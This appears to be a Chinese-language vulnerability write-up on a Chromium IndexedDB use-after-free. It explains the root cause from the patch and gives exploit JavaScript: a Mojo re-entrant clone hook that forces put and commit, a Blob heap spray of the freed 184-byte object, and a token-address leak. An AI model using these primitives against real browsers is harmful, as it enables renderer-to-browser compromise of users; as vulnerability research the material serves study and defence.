Root Case
下面我们先来看一下漏洞的产生原理,从补丁开始入手,其中最主要的就是下面这个函数:
   bool IsAcceptingRequests() {    return !is_commit_pending_ && state_ != COMMITTING && state_ != FINISHED;  }
   复制代码
 
补丁在每个 DatabaseImpl 和 TransactionImpl 接口中添加了该判断,使得处于 COMMITTING 和 FINISHED 状态的 transaction 无法执行,那么反过来思考就是说在这两个状态下继续进行新的 transaction 就会导致漏洞的产生。
而对于 FINISHED 状态,如同字面上的意思它代表结束,并没有什么好入手的点,所以我们更多的把精力放在 COMMITTING 状态,该状态可以通过 IndexedDBTransaction::Commit()和 TransactionImpl::Commit()这两个函数来进行设置,这里有一个有趣的调用链:
  IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs  }
   复制代码
 
其中,会调用 blob_storage 或 file_system_access,将提交数据写入磁盘,代码如下:
         case IndexedDBExternalObject::ObjectType::kFile:        case IndexedDBExternalObject::ObjectType::kBlob: {          if (entry.size() == 0)            continue;          // If this directory creation fails then the WriteBlobToFile call          // will fail. So there is no need to special-case handle it here.          base::FilePath path = GetBlobDirectoryNameForKey(              backing_store_->blob_path_, database_id_, entry.blob_number());          backing_store_->filesystem_proxy_->CreateDirectory(path);          // TODO(dmurph): Refactor IndexedDBExternalObject to not use a          // SharedRemote, so this code can just move the remote, instead of          // cloning.          mojo::PendingRemote<blink::mojom::Blob> pending_blob;          entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver());
          // Android doesn't seem to consistently be able to set file          // modification times. The timestamp is not checked during reading          // on Android either. https://crbug.com/1045488          absl::optional<base::Time> last_modified;          blob_storage_context->WriteBlobToFile(              std::move(pending_blob),              backing_store_->GetBlobFileName(database_id_,                                              entry.blob_number()),              IndexedDBBackingStore::ShouldSyncOnCommit(durability_),              last_modified, write_result_callback);          break;        }  }
   复制代码
 
  case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: {          if (!entry.file_system_access_token().empty())            continue;          // TODO(dmurph): Refactor IndexedDBExternalObject to not use a          // SharedRemote, so this code can just move the remote, instead of          // cloning.          mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken>              token_clone;          entry.file_system_access_token_remote()->Clone(              token_clone.InitWithNewPipeAndPassReceiver());  backing_store_->file_system_access_context_->SerializeHandle(              std::move(token_clone),              base::BindOnce(                  [](base::WeakPtr<Transaction> transaction,                     IndexedDBExternalObject* object,                     base::OnceCallback<void(                         storage::mojom::WriteBlobToFileResult)> callback,                     const std::vector<uint8_t>& serialized_token) {                    // |object| is owned by |transaction|, so make sure                    // |transaction| is still valid before doing anything else.                    if (!transaction)                      return;                    if (serialized_token.empty()) {                      std::move(callback).Run(                          storage::mojom::WriteBlobToFileResult::kError);                      return;                    }                    object->set_file_system_access_token(serialized_token);                    std::move(callback).Run(                        storage::mojom::WriteBlobToFileResult::kSuccess);                  },                  weak_ptr_factory_.GetWeakPtr(), &entry,                  write_result_callback));          break;        }  }
   复制代码
 
这里我们重点看一下 kFileSystemAccessHandle 这种情况,这里我们可以利用 Clone 来重入 js,紧急插入一些基础知识科普,我们先从下面这个例子开始说起,这是一个常见的绑定接口的操作:
 var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();var fileAccessRequest = mojo.makeRequest(fileAccessPtr);Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle);
   复制代码
 
【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包
这里画了一个图帮助理解:
fileAccessPtr 和 fileAccessRequest 分别代表 interface 连接的 client 端和 service 端,这里是通过 mojo.makeRequest 来实现的。
mojo.makeRequest 创建一个 message pipe,用 pipe 的一端填充 output 参数(可以是 InterfacePtrInfo 或 interface pointer),返回包装在 InterfaceRequest 实例中的另一端。
   // |output| could be an interface pointer, InterfacePtrInfo or  // AssociatedInterfacePtrInfo.  function makeRequest(output) {    if (output instanceof mojo.AssociatedInterfacePtrInfo) {      var {handle0, handle1} = internal.createPairPendingAssociation();      output.interfaceEndpointHandle = handle0;      output.version = 0;
      return new mojo.AssociatedInterfaceRequest(handle1);    }
    if (output instanceof mojo.InterfacePtrInfo) {      var pipe = Mojo.createMessagePipe();      output.handle = pipe.handle0;      output.version = 0;
      return new mojo.InterfaceRequest(pipe.handle1);    }
    var pipe = Mojo.createMessagePipe();    output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));    return new mojo.InterfaceRequest(pipe.handle1);  }
   复制代码
 
Mojo.bindInterface 会调用 bindInterface 函数
   //third_party/blink/renderer/core/mojo/mojo.cc// staticvoid Mojo::bindInterface(ScriptState* script_state,                         const String& interface_name,                         MojoHandle* request_handle,                         const String& scope) {  std::string name = interface_name.Utf8();  auto handle =      mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle());
  if (scope == "process") {    Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(        mojo::GenericPendingReceiver(name, std::move(handle)));    return;  }
  ExecutionContext::From(script_state)      ->GetBrowserInterfaceBroker()      .GetInterface(name, std::move(handle));}
   复制代码
 
通过从 render 和 browser 之间已经建立好的 BrowserInterfaceBroker 来通过 GetInterface 去调用之前通过 map->Add 注册好的 bind 函数,简单来说就是创建对应 mojo 接口的 implement 对象,然后和 Receiver 绑定到一起。 这样就可以通过 render 的 remote 来调用 browser 里的代码了。
那么如何实现重入 js 呢?
   function FileSystemAccessTransferTokenImpl() {    this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this);}FileSystemAccessTransferTokenImpl.prototype = {    clone: async (arg0) => {        // 自定义    }};
var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();var fileAccessImpl = new FileSystemAccessTransferTokenImpl();var fileAccessRequest = mojo.makeRequest(fileAccessPtr);fileAccessImpl.binding.bind(fileAccessRequest);
   复制代码
 
首先需要在 render 层(也就是 js)实现一个 fileAccessImpl,之后自定义一个想要的 clone 方法,再利用 mojo.Binding.bind 的方法将 mojo.makeRequest 返回的 InterfaceRequest 绑定到 js 实现的 fileAccessImpl 上。
  // -----------------------------------  // |request| could be omitted and passed into bind() later.  //  // Example:  //  //    // FooImpl implements mojom.Foo.  //    function FooImpl() { ... }  //    FooImpl.prototype.fooMethod1 = function() { ... }  //    FooImpl.prototype.fooMethod2 = function() { ... }  //  //    var fooPtr = new mojom.FooPtr();  //    var request = makeRequest(fooPtr);  //    var binding = new Binding(mojom.Foo, new FooImpl(), request);  //    fooPtr.fooMethod1();    function Binding(interfaceType, impl, requestOrHandle) {    this.interfaceType_ = interfaceType;    this.impl_ = impl;    this.router_ = null;    this.interfaceEndpointClient_ = null;    this.stub_ = null;
    if (requestOrHandle)      this.bind(requestOrHandle);  }
  ......
    Binding.prototype.bind = function(requestOrHandle) {    this.close();
    var handle = requestOrHandle instanceof mojo.InterfaceRequest ?        requestOrHandle.handle : requestOrHandle;    if (!(handle instanceof MojoHandle))      return;
    this.router_ = new internal.Router(handle);
    this.stub_ = new this.interfaceType_.stubClass(this.impl_);    this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(        this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),        this.stub_, this.interfaceType_.kVersion);
    this.interfaceEndpointClient_ .setPayloadValidators([        this.interfaceType_.validateRequest]);  };
   复制代码
 
这样就不需要从 render 发送 PendingReceiver 给 Browser,去调用 browser 侧的 interface implemention,也就变成了从 render 来调用 render 里的代码。
之后我们将 remote 传入 external_object
 var external_object = new blink.mojom.IDBExternalObject();external_object.fileSystemAccessToken = fileAccessPtr;
   复制代码
 
之后在 IndexedDBBackingStore::Transaction::WriteNewBlobs 中通过 entry.file_system_access_token_remote()获取传入的 remote,之后调用的 clone 就会是我们定义的 js 代码,即实现了重入 js。
 entry.file_system_access_token_remote()->Clone(              token_clone.InitWithNewPipeAndPassReceiver());
   复制代码
 
这里我们定义的 clone 如下:
             FileSystemAccessTransferTokenImpl.prototype = {                clone: async (arg0) => {                    // IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition                    // replace key/value in object store to delete the external object                    print("=== clone ===");                    var value = new blink.mojom.IDBValue();                    value.bits = [0x41, 0x41, 0x41, 0x41];                    value.externalObjects = [];                    var key = new blink.mojom.IDBKey();                    key.string = new mojoBase.mojom.String16();                    key.string.data = "key";                    var mode = blink.mojom.IDBPutMode.AddOrUpdate;                    var index_keys = [];                    idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);
                    // commit force put operation                    idbTransactionPtr.commit(0);
                    for(let i = 0; i < 0x1000; i++){                        var a=new Blob([heap1]);                        blob_list.push(a);                    }                    done = true;                     // get token for file handle, control-flow comeback to callback within cached external object ==> UAF                    fileAccessHandlePtr.transfer(arg0);                }            };
   复制代码
 
这里有一个需要注意的地方:
   entry.file_system_access_token_remote()->Clone(              token_clone.InitWithNewPipeAndPassReceiver());
          backing_store_->file_system_access_context_->SerializeHandle
   复制代码
 
clone 在这里是异步调用的,我们需要根据实际情况来确定执行顺序。下面涉及到 uaf 的主要成因,将分成三个部分来讲:
1、uaf 的成因
external_objects 的释放涉及到两次 put 请求,释放发生在 clone 重入的第二次 put 中。释放 external_objects 的调用链如下:
 TransactionImpl::Put —> IndexedDBDatabase::PutOperation —> IndexedDBBackingStore::PutRecord —> IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded
   复制代码
 
在 TransactionImpl::Put 需要注意一下 params,他存储了我们传入的 object_store_id, value, key, mode, index_keys,几个关键部分的偏移如下:
 params->object_store_id  偏移:0x0params->value  偏移:0x8~0x30params->key  偏移:0x38
   复制代码
 
params->value 的类型为 IndexedDBValue
 struct CONTENT_EXPORT IndexedDBValue {......  std::string bits;  std::vector<IndexedDBExternalObject> external_objects;};
   复制代码
 
由于我们之后要释放 external_object,在这里打了一个 log 来输出他的地址和大小,这个 184 也就是之后我们要堆喷的大小。
这个图是 clone 中第二次调用,在第二次 put 时我们传入了空的 external_object,bits(也就是之后要用到的 key)仍与第一次相同
free 发生在此处,由于我们第二次传入的 externalobject 为空,将会走到 external_object_change_map.erase,由于两次的 object_store_data_key 相同,将会把第一次传入的 external_object 给释放掉。
 Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded(    int64_t database_id,    const std::string& object_store_data_key,    std::vector<IndexedDBExternalObject>* external_objects) {  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
  if (!external_objects || external_objects->empty()) {    external_object_change_map_.erase(object_store_data_key); //free here!!    incognito_external_object_map_.erase(object_store_data_key);
    .......}
class IndexedDBExternalObjectChangeRecord {    ........
private:  std::string object_store_data_key_;  std::vector<IndexedDBExternalObject> external_objects_;};
   复制代码
 
调试一下两次 PutExternalObjectsIfNeeded,可以看到 object_store_data_key 是相同的。
2、clone 中 commit 的作用
由于 clone 是在上次 commit 中被调用的,此时我们正处于上一个事务的提交过程中,此时只进行 put 请求的话并不会直接处理该事务,而是会优先处理完上一个操作,可以看下面的图:
而我们的 free 操作是发生在 put 中的,如果想要泄漏出 token 的地址,就需要 put 先于 set_file_system_access_token 执行,这里使用了 commit 来强制提交 put,这样相当于 put 进行了插队,即可实现我们想要的效果。
此时又会产生一个新的问题,在这里再次调用 commit 不会继续调用 clone 重入吗?
答案是不会的,让我们来看下面这块代码:
 IndexedDBTransaction::RunTasks() {  .......
  // If there are no pending tasks, we haven't already committed/aborted,  // and the front-end requested a commit, it is now safe to do so.  if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) {    processing_event_queue_ = false;    // This can delete |this|.    leveldb::Status result = Commit(); //IndexedDBTransaction::Commit()    if (!result.ok())      return {RunTasksResult::kError, result};  }
  .......   }
   复制代码
 
可以看到只有当 state == STARTED 的时候才会调用 IndexedDBTransaction::Commit,进而去调用 WriteNewBlobs,我们第二次调用 commit 的时候此时的 state 已经是 COMMITTING 了。第一次 commit:
第二次 commit:
3、transfer 的作用
首先我们先来看这段调用链:
 FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken  --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle
   复制代码
 
可以看到在 DoResolveTransferToken 调用时需要从 transfertokens 找到一个 token 才能最终走到 SerializeHandle 的回调中
 void FileSystemAccessManagerImpl::DoResolveTransferToken(    mojo::Remote<blink::mojom::FileSystemAccessTransferToken>,    ResolvedTokenCallback callback,    const base::UnguessableToken& token) {  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
  auto it = transfer_tokens_.find(token);  if (it == transfer_tokens_.end()) {    std::move(callback).Run(nullptr);  } else {    std::move(callback).Run(it->second.get());  }}
   复制代码
 
所以我们需要在 clone 中调用 fileAccessHandlePtr.transfer(arg0);
 void FileSystemAccessManagerImpl::DidResolveForSerializeHandle(    SerializeHandleCallback callback,    FileSystemAccessTransferTokenImpl* resolved_token) {  if (!resolved_token) {    std::move(callback).Run({});    return;  }
  .......
  std::string value;  bool success = data.SerializeToString(&value);  DCHECK(success);  std::vector<uint8_t> result(value.begin(), value.end());  std::move(callback).Run(result);}
   复制代码
 
之后传入 DoResolveTransferToken 的 FileSystemAccessTransferTokenImpl 经过处理变为了 result,它即 object->set_file_system_access_token(serialized_token)中的 serialized_token。
     backing_store_->file_system_access_context_->SerializeHandle(              std::move(token_clone),              base::BindOnce(                  [](base::WeakPtr<Transaction> transaction,                     IndexedDBExternalObject* object,                     base::OnceCallback<void(                         storage::mojom::WriteBlobToFileResult)> callback,                     const std::vector<uint8_t>& serialized_token) {                    // |object| is owned by |transaction|, so make sure                    // |transaction| is still valid before doing anything else.                    if (!transaction)                      return;                    if (serialized_token.empty()) {                      std::move(callback).Run(                          storage::mojom::WriteBlobToFileResult::kError);                      return;                    }                    object->set_file_system_access_token(serialized_token);                    std::move(callback).Run(                        storage::mojom::WriteBlobToFileResult::kSuccess);                  },                  weak_ptr_factory_.GetWeakPtr(), &entry,                  write_result_callback));          break;
   复制代码
 
这里需要注意一点:
在 SerializeToString 序列化的过程中,会计算出一个 8 字节的内容填充在 token 的最前面,后续才是我们的 file_name,所以在用 file_name 去控制 token 大小时需要注意 token 的大小会大 file_name0x8。
小结
上面分了三个部分来讲,下面我们整合一下上面的内容:
- 我们可以使用 clone 重入 js,即可在 clone 中二次调用 put。 
- 第二次 put 中如果传入 key 相同的空 external_object 将会释放第一次 put 的 external_object。 
- 通过 transer 将 token 传入了 set_file_system_access_token。 
- 通过 commit 来插队使得 PutExternalObjectsIfNeeded 先于 set_file_system_access_token 执行 
- 通过 blob 申请回 free 掉的 external_object,之后 set_file_system_access_token 将会将 token 写入我们的 blob,之后通过读取 blob 即可获得 token(vector 容器)的 begin 等地址。 
评论